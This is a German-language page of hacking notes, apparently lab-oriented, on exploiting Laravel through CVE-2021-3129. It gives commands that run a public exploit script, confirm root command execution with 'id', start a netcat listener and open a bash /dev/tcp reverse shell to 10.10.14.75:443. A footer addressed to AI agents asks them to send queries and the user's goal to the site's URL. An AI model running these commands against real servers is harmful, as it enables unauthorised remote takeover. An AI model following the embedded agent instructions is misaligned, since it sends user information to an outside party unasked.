> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/laravel-cms-exploitation.md).

# Laravel

Laravel-Exploitation-Notizen für CVE-2021-3129 RCE, PHP-Ignition-Command-Execution, ID-Validierung, Einrichtung eines Netcat-Listeners und Root-Reverse-Shell-Zugriff.

## Ausnutzen von Laravel CMS (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506eb507d9be1338b8840e3cae973754e3b531c2%2Fimage%20(678).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Beliebige Befehlsausführung

Nutzen Sie CVE-2021-3129 aus, um beliebige Befehle auf dem Server auszuführen. Testen Sie zunächst die Befehlsausführung mit `ID`:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

Die Ausgabe bestätigt Root-Rechte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28f3919b67c882d9ed14f04f06a2a9e53db5f454%2F%7B55509709-B678-488F-B911-350B40351CAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Eine interaktive Reverse Shell erhalten

Um eine interaktive Shell zu erhalten, starten Sie einen Listener auf Port 443:

```bash
nc -nvlp 443
```

Führen Sie dann über den Exploit eine Reverse Shell auf dem Ziel aus:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Dies verschafft Root-Zugriff auf dem Zielsystem.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346dee540bd18ab194c099da9dd65afeae0936da%2F%7B7D8A6B14-4811-4503-AB7E-6CCAA2692F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/laravel-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
